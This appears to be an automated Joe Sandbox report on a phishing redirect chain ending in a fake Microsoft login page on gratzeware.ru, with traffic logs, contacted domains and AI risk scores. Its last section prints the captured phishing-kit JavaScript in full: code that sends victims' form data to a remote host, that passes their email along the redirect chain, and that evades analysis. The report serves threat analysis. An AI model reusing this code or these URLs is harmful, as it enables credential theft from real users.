Source: unknown	Network traffic detected: HTTP traffic on port 62520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62503
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62506
Source: unknown	Network traffic detected: HTTP traffic on port 62508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62509
Source: unknown	Network traffic detected: HTTP traffic on port 62500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62501

Source: classification engine

Classification label: mal64.phis.win@23/77@48/14

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2008,i,667403360301153697,9405618956545446436,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.com/amp/url.rw/6r6ns"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2008,i,667403360301153697,9405618956545446436,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.google.com/amp/url.rw/6r6ns	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://obz.bz/dkg0j9	100%	Avira URL Cloud	malware
https://8zkl.gratzeware.ru/7axa6RvO/#A	0%	Avira URL Cloud	safe
https://socnpj.com.br/team-drive/Organization/privacy/supply.jpg	0%	Avira URL Cloud	safe
https://8zkl.gratzeware.ru/7axa6RvO/	0%	Avira URL Cloud	safe
https://ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru/62190608796284312sOlJKBEDVSFWZHAWGEBTDPCMQAITFOYRAAZFHNYTN	100%	Avira URL Cloud	malware
https://url.rw/6r6ns	0%	Avira URL Cloud	safe
http://url.rw/6r6ns	0%	Avira URL Cloud	safe
https://8zkl.gratzeware.ru/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
socnpj.com.br	108.179.252.84	true	true	unknown
s-part-0033.t-0009.t-msedge.net	13.107.246.61	true	false	high
ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru	172.67.195.229	true	false	unknown
code.jquery.com	151.101.194.137	true	false	high
8zkl.gratzeware.ru	104.21.33.70	true	true	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
visaoxprodutora.com.br	162.241.203.180	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	216.58.206.68	true	false	high
url.rw	188.166.2.160	true	false	high
www.office.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
obz.bz	unknown	unknown	true	unknown
login.microsoftonline.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://8zkl.gratzeware.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.google.com/amp/url.rw/6r6ns	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://socnpj.com.br/team-drive/Organization/privacy/supply.jpg	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=%2FEsafJ17MlZZrdaXoUhyQFDm4U2TtZnr3PYptGsmrUZnQGVuGRCvf3jjjT7n%2B%2FWC09CVJteTJytLkz2J8N6qg4zD0ER1ZiX1K3BkrRgQ1Zq6gTUzRzQpQBIWacjfBw%3D%3D	false		high
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/901811ce6a59f797/1736799447628/97a1321bf60fd34b010418c66160fde08b280be1480192961bae5dcd410d4791/M1z6X6BT5z0e7za	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901811ce6a59f797/1736799447630/76HKqqu4KYOhJKZ	false		high
https://socnpj.com.br/team-drive/Organization/privacy/index_.html	true		unknown
https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.net	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/	false		high
https://8zkl.gratzeware.ru/7axa6RvO/	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
http://url.rw/6r6ns	false	Avira URL Cloud: safe	unknown
https://ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru/62190608796284312sOlJKBEDVSFWZHAWGEBTDPCMQAITFOYRAAZFHNYTN	false	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638723962573019439.NzIyYTg1YjQtNTdiMC00NDg0LWI1NTEtYTM5MmFiMjFkMThlZGQ5OGU5NTYtYjQ3Ny00NmFhLTk2YTYtOWQ0MzEyMjZmYzBh&ui_locales=en-US&mkt=en-US&client-request-id=2947d9f3-c8a7-40df-abb6-033051ca8256&state=coEZ89Dc1bZjkY0D2KRA5GnpuMAfedAq74KVeQ-lDAoyoKplmoxyi4rLhGdu4S9oe58ncN31KA0D3oFTQJyeaSKSC6YelbN5FSWxUzuLw8q34DYKfPk7oQABw49cQYboas6d-3KX3geKbedt1rk9Kx7Vht0nny26PfprsDKihkWmkFFn_tuNAhigLW654os0Ph7_kCmdoiSzo6u8OVNSe5l5KG7v95TP7b-1PCecYy7MXD2pBogXuvAivYsEX4LNoeT6reFefc2XoXcxj3v5Hw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901811ce6a59f797&lang=auto	false		high
https://url.rw/6r6ns	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://8zkl.gratzeware.ru/7axa6RvO/#A	chromecache_120.2.dr	true	Avira URL Cloud: safe	unknown
https://login.windows-ppe.net	chromecache_86.2.dr, chromecache_76.2.dr	false		high
https://go.cpanel.net/privacy	chromecache_120.2.dr	false		high
https://obz.bz/dkg0j9	chromecache_120.2.dr	false	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com	chromecache_86.2.dr, chromecache_76.2.dr	false		high
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer	chromecache_120.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.241.203.180	visaoxprodutora.com.br	United States	26337	OIS1US	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
108.179.252.84	socnpj.com.br	United States	46606	UNIFIEDLAYER-AS-1US	true
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.33.70	8zkl.gratzeware.ru	United States	13335	CLOUDFLARENETUS	true
188.166.2.160	url.rw	Netherlands	14061	DIGITALOCEAN-ASNUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
172.67.195.229	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590267
Start date and time:	2025-01-13 21:16:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.google.com/amp/url.rw/6r6ns
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@23/77@48/14

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.195, 172.217.23.110, 74.125.133.84, 172.217.16.206, 142.250.184.206, 142.250.186.106, 142.250.186.42, 142.250.185.202, 172.217.18.106, 142.250.186.138, 216.58.212.170, 142.250.184.202, 142.250.74.202, 142.250.185.170, 142.250.186.74, 216.58.212.138, 142.250.186.170, 142.250.181.234, 142.250.185.234, 172.217.16.138, 216.58.206.42, 199.232.214.172, 184.30.131.245, 142.250.185.238, 142.250.80.78, 74.125.0.74, 20.190.159.2, 40.126.31.69, 20.190.159.23, 20.190.159.64, 20.190.159.71, 20.190.159.75, 20.190.159.4, 40.126.31.71, 13.107.6.156, 40.126.31.67, 40.126.31.73, 20.190.159.0, 20.190.159.73, 20.190.159.68, 172.217.18.10, 142.250.185.74, 172.217.16.202, 216.58.206.74, 142.250.184.234, 142.250.185.138, 142.250.185.106, 51.11.192.49, 40.79.141.154, 20.190.160.20, 40.126.32.138, 20.190.160.22, 20.190.160.14, 40.126.32.68, 20.190.160.17, 40.126.32.72, 40.126.32.74, 142.250.185.195, 2.23.242.162, 4.245.163.56, 13.107.246.44, 13.107.246.61, 13.107.246.45
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, home-office365-com.b-0004.b-msedge.net, ak.privatelink.msidentity.com, onedscolprdfrc06.francecentral.cloudapp.azure.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, onedscolprdfrc07.francecentral.cloudapp.azure.com, update.googleapis.com, login.mso.msidentity.com, www.tm.ak.prd.aadg.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, www.tm.ak.prd.aadg.akadns.net, b-0004.b-msedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, aadcdn.msauth.net, r5.sn-t0aedn7e.gvt1.com, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, eu.events.data.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, r5---sn-t0aedn7e.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, www.tm.lg.prod.aadm
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.google.com/amp/url.rw/6r6ns

Input	Output
URL: https://www.google.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.google.com
URL: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft login page, which is likely a phishing attempt. Overall, the script demonstrates malicious intent and poses a significant security risk." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA4pKB1cuuqOF-N1', 'error-callback': fRyMmggqrz, callback: zBtUrwPojt, }); function fRyMmggqrz() { turnstile.reset(); } function zBtUrwPojt() { var THPLbeBkuX = document.getElementById("ztztiaViUZ"); THPLbeBkuX.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'XJK2'; var WtOfLCBzSa = "../ozG66JtujVfHPAvD8u8A2j5jB3KqzijOKsjS5ijref"; fetch('https://uJqGYqOdoT2l3kJHGMdl2KVE0sI349Y51VPck7h7Q5Ci0UOTP0QKP.sprocubseq.ru/62190608796284312sOlJKBEDVSFWZHAWGEBTDPCMQAITFOYRAAZFHNYTN', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(WtOfLCBzSa, { method: "POST", body: new FormData(THPLbeBkuX) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(dUIPNrlcBU == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://login.microsoftonline.com'); } }); } if(text != 0){ window.location.replace('https://login.microsoftonline.com'); } }) .catch(error => { window.location.replace('https://login.microsoftonline.com'); }); }
URL: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution." }
if(atob("aHR0cHM6Ly9tdDQuZ3JhdHpld2FyZS5ydS83YXhhNlJ2Ty8=") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNmak9rTlRhdXRrIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI2ZqT2tOVGF1dGsgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI2ZqT2tOVGF1dGsgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojZmpPa05UYXV0ayBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2ZqT2tOVGF1dGsuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTIwcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNmak9rTlRhdXRrIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojZmpPa05UYXV0ayAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI2ZqT2tOVGF1dGsgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojZmpPa05UYXV0ayAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojZmpPa05UYXV0ayAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI2ZqT2tOVGF1dGsgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI2ZqT2tOVGF1dGsubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNmak9rTlRhdXRrIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojZmpPa05UYXV0ayAjVGVaU2NXWVppQSB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KZFVJUE5ybGNCVSA9IGZhbHNlOw0KKGZ1bmN0aW9uIG13alhLUkpPV2IoKSB7DQogICAgbGV0IFlRYmNSUUhIc0UgPSBmYWxzZTsNCiAgICBjb25zdCBYUUF5UnFJV2hvID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCBCSkFKR21DUnd0ID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAg
URL: https://visaoxprodutora.com.br/success/index.html#... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The script extracts an email parameter from the URL and then redirects the user to a potentially malicious domain, which is a common technique used in phishing attacks. The combination of these behaviors strongly suggests that this script is designed for malicious purposes and should be considered a high-risk threat." }
var url_string = window.location.href; var url_get_email = getafterhash(url_string); var mail_go_url = "https://8zkl.gratzeware.ru/7axa6RvO/#A"+url_get_email+""; location.replace(mail_go_url); function getafterhash(url) { var ret; var queryString; queryStringhash = url.split('#')[1]; if (queryStringhash) { ret = queryStringhash; }else{ ret = ''; } return ret; }
URL: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including disabling developer tools, preventing right-click context menus, and redirecting the user to a suspicious domain (login.microsoftonline.com). The script also uses obfuscated code and a setInterval loop with a debugger statement, which could be used to detect and evade security measures. These behaviors strongly indicate malicious intent, likely for the purpose of phishing or other malicious activities." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); dUIPNrlcBU = false; (function mwjXKRJOWb() { let YQbcRQHHsE = false; const XQAyRqIWho = 100; setInterval(function() { const BJAJGmCRwt = 